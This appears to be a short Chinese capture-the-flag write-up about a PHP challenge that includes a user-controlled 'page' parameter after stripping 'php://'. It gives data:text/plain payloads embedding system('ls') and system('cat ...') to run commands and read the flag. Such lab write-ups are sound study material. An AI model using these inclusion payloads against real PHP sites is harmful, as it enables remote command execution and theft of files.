<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
可以看到$page
变量由用户控制,在经过过滤"php://"
字符串后包含。
虽然php://
被过滤了,但还可以使用file://
,不过也不知道明确的flag文件名,所以不能直接读取文件。
除了这些直接读文件的,还有可以任意命令执行的伪协议data:
payload:
page?=data:text/plain,<?php system('ls') ?>
读取到当前目录下的文件
page?=data:text/plain,<?php system('cat flag文件名') ?>
读取到flag内容,不过要查看源码才能看到。